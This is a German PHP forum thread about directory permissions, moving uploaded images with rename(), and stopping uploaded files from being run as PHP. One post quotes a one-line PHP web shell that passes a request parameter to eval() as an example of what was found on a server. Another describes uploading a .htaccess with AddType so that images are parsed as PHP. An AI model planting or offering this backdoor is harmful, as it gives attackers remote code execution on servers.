1. Diese Seite verwendet Cookies. Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies. Weitere Informationen

Rename Funktion

Dieses Thema im Forum "PHP" wurde erstellt von Alice, 25. April 2012.

  1. Alice

    Alice Erfahrenes Mitglied

    Hallo.

    Ich habe aktuell nicht die Möglichkeit meine Idee praktisch umzusetzen und es würde mich auch allgemein interessieren ob man für die Rename-Funktion bestimmte Rechte (CHMOD) braucht?

    In Sachen Sicherheit heisst es ja immer wieder das man Ordner auf dem Server mit "777" Rechten (Vollzugriff) vermeiden soll.

    Jedoch benötigt mein Skript aber zum speichern von Grafiken usw. aber so einen Ordner.

    Wäre es Sinnvoll z.B. einen "using" Ordner mit Vollzugriff zu erstellen, die Grafiken aber am Ende des Skriptes mit der Rename-Funktion in ein anderes Verzeichnis mit wieder Rechten zu "verschieben"?
  2. saftmeister

    saftmeister Nutze den Saft! Premium-User

    Der Ordner muss nicht 777 haben, dass ist ein oft verbreiteter Irrtum. Es genügt vollkommen, wenn der Ordner 700 hat. Dazu muss er aber dem Benutzer (www, apache, $whatever) gehören.

    Ein Ordner muss mindestens 1+4 haben, damit man in ihn rein wechseln kann, das Execute-Bit wird benötigt. Das Write-Bit wird benötigt, um neue Einträge im Ordner hinterlegen zu können. Also geht nicht kleiner als 7.
  3. Alice

    Alice Erfahrenes Mitglied

    Ordner A (CHMOD 700)
    Ordner B (CHMOD ?)

    Das PHP-Skript speichert nun die Grafik in "Ordner A".

    Welche Rechte braucht dann "Ordner B" wenn die Grafik mit der Rename-Funktion von "Ordner A" nach "Ordner B" verschoben wird?
  4. saftmeister

    saftmeister Nutze den Saft! Premium-User

    Ich denke mal, du brauchst gar keinen Ordner B, denn du bräuchtest auf B auch mindestens 7. Leg deinen Ziel-Ordner mit 755 an, geb als Eigentümer den Webserver-User und alles ist Ordnung.

    777 bedeutet:

    - lesen/schreiben/ausführen für Eigentümer
    - l/s/a für Gruppe
    - l/s/a für alle anderen Accounts, die weder Eigentümer noch Mitglied der Gruppe sind, welcher der Ordner gehört.

    Edit: Noch mal etwas klarer, was die Zahlen bedeuten:

    4 = Lesen
    2 = Schreiben
    1 = Ausführen
  5. Alice

    Alice Erfahrenes Mitglied

    Ich versuche nur in Sachen Sicherheit den Ordner so gut es geht abzusichern.

    .htaccess
    PHP:
    1.  
    2. RedirectMatch 404 .*php\.
    3.  
  6. saftmeister

    saftmeister Nutze den Saft! Premium-User

    Das ist ja legitim, aber man muss es nicht komplizierter machen, als es ist.

    Warum machst du das .htaccess? Willst du auch PHP-Scripts im Ordner hinterlegen? Ich würde davon abraten, noch dazu, wenn es sich um einen Ordner handelt, der Upload-Material enthält ;-) Leg den DirectoryIndex auf index.html und setz die Option -Indexes.
  7. Alice

    Alice Erfahrenes Mitglied

    Nein der Ordner enthält nur Grafiken die das PHP-Skript generiert.

    Die .htaccess Datei soll falls ein Hacker es schaffen sollte eine PHP-Datei einzuschleusen, unterbinden das diese ausgeführt wird.

    Ich habe die selbe Datei aber auch in meinem "Avatar-Ordner". Also wo man Sachen uploaden kann.

    Wieso soll das schlimm sein?
  8. saftmeister

    saftmeister Nutze den Saft! Premium-User

    Das ist nicht schlimm aber an der falschen Stelle angesetzt. Sorg doch einfach dafür, das ein Hacker kein Script dort einschleusen kann. Wenn es jemand schafft, eine Datei abzulegen, die du nicht erwartest, hast du bereits einen Fehler begangen. Der mag dann zwar deinen Webserver nicht beeinflussen, aber man kann deinen Webserver dann für andere Dinge missbrauchen, z.B. verteilen von Schadsoftware... Das willst du nicht wirklich - könnte Regress bedeuten

    Dabei ist es doch gar nicht so schwer. Es gibt Funktionen wie getimagesize() oder mime_content_type.

    EDIT: Wenn du das Ausführen von PHP-Scripts in einem bestimmten Ordner unterbinden willst, wäre es besser, wenn du eine der folgenden Methoden benutzt: http://www.electrictoolbox.com/disable-php-apache-htaccess/
    Zuletzt bearbeitet: 25. April 2012
  9. Alice

    Alice Erfahrenes Mitglied

    Bei diesem einen Upload-Ordner handelt es sich um das Standard-Verzeichnis von der vBulletin-Software.

    Avatare, Anhänge usw. werden ja in den jeweiligen Ordner gespeichert. Wie soll ich prüfen ob jemand eine GIF-Datei mit Schadcode uploadet?

    Dann wird der Schadcode auch noch irgendwie ausgeführt und zack ist irgendwo auf dem Server eine PHP-Datei mit z.B. folgendem Inhalt.
    PHP:
    1. <?php if (isset($_REQUEST['p1'])) eval(stripslashes($_REQUEST['p1']));
    Alles schon erlebt...
  10. saftmeister

    saftmeister Nutze den Saft! Premium-User

    Wie soll diese .gif-Datei vom PHP-Parser interpretiert werden? Wer ist so verrückt, die Endung .gif mittels AddType an den PHP-Parser zu übergeben? Ein .gif im Browser sorgt dafür, dass das Bild nicht dargestellt werden kann. Mehr nicht. Aber bitte klär mich auf, ich hab grad keine Idee, wie das zu bewerkstelligen wäre.
  11. Alice

    Alice Erfahrenes Mitglied

    Ich weiss es doch selber nicht.

    Ich hatte noch nicht die Zeit mich mit "Hacking" zu beschäftigen. ;) :D

    Jedenfalls wurden bereits in diversen Foren (auch ganz große) irgendwelche Bilder hochgeladen der Schadcode enthalten hat. Dann hat der Hacker es irgendwie (womit?) geschafft dieses Bild auszuführen. Dann wurde auf dem Server irgendwo eine PHP-Datei (ich glaube auch so etwas wie eine Shell-Datei) erstellt und der Hacker konnte einiges machen.
  12. sheel

    sheel Mod # I love Asm Moderator

    Mir ist auch nicht bekannt, dass ein gif von sich aus irgendwas machen könnte.

    Nur wenn: Das Anzeige/verarbeitungsprogramm (Browser, PHP...) Sicherheitslücken/Fehler haben,
    diese jemandem bekannt sind und der dafür spezielle gifs macht, die die Lücken ausnützen.

    Da solche Probleme nach dem Bekanntwerden aber ausgebessert werden:
    Immer aktuelle Versionen seiner Software haben, dann hat man kein Problem.
  13. saftmeister

    saftmeister Nutze den Saft! Premium-User

    Naja, man(frau) sollte sich natürlich erstmal mit der Materie beschäftigen, bevor man irgendwas hinscripted oder -konfiguriert, nur um sich dann einigermaßen sicher zu fühlen.

    Sei dir darüber bewusst, das nur vom PHP-Parser ausgeführt wird, was der auch annimmt. Der kann nur annehmen, was der Server ihm gibt. Das muss konfiguriert werden. Mittels AddType-Direktive für den Apachen.

    Es könnte sich so zugetragen haben:

    Angreifer hat .htaccess erstellt, die eine AddType-Direktive enthält, z.B. .gif-Dateien an den PHP-Parser zu übergeben. Diese .htaccess-Datei konnte er uploaden, weil eine Pfeife von PHP-Scripter meinte, er müsse nur gegen .php-Dateien absichern. Dann kann man natürlich auch .gif-Dateien von PHP-Parser parsen lassen - kein Problem.

    Sichere den Webserver so ab, das du quasi nach White-List-Prinzip nur Dateien akzeptierst, die als Bild-Datei zweifelsfrei identifiziert werden können. Dazu verwendest du am besten getimagesize() oder mime_content_type(). Um sicherzugehen, kannst du das Bild auch gern noch mal mit imagecreatefrom*** in ein neues Bild übertragen, um dich zu vergewissern, das im Bild kein Schadcode drin ist. Im Zweifelsfall ist das Bild dann halt kaputt und kann nicht dargestellt werden - was immer noch besser als die Alternative ist.
  14. aGeNET

    aGeNET Erfahrenes Mitglied

    Moin,

    wir haben das in unserer Software wie folgt gelöst (.htaccess):
    Code (Text):
    1. SetHandler send-as-is
    Damit werden zb PHP-Dateien aus dem Verzeichnis (hier auch ein images-Verzeichnis mit 777) bei Aufruf direkt wieder zum Download angeboten anstatt sie auszuführen ... vielleicht hilfts ja weiter.

    Grüße
  15. saftmeister

    saftmeister Nutze den Saft! Premium-User

    Und das hältst du für eine gute Idee? Ich weiß ja nicht...
  16. aGeNET

    aGeNET Erfahrenes Mitglied

    Moin,
    gut ist die Idee sicher nicht aber der Zweck heiligt ja bekanntlich die Mittel. Ich hab das in dem Post vllt. auch zu unklar beschrieben ... folgendes Szenario:

    Sollte es jemandem widererwarten gelingen eine PHP-Datei oder eine als Bild "getarnte" PHP-Datei in das Verzeichnis hochzuladen und der Angreifer versucht die Datei auszuführen, dann bekommt er nur seine eigene hochgeladene Datei wieder zum Download angeboten. Die realen Bilder aus dem Verzeichnis werden normal angezeigt.

    Grüße

Diese Seite empfehlen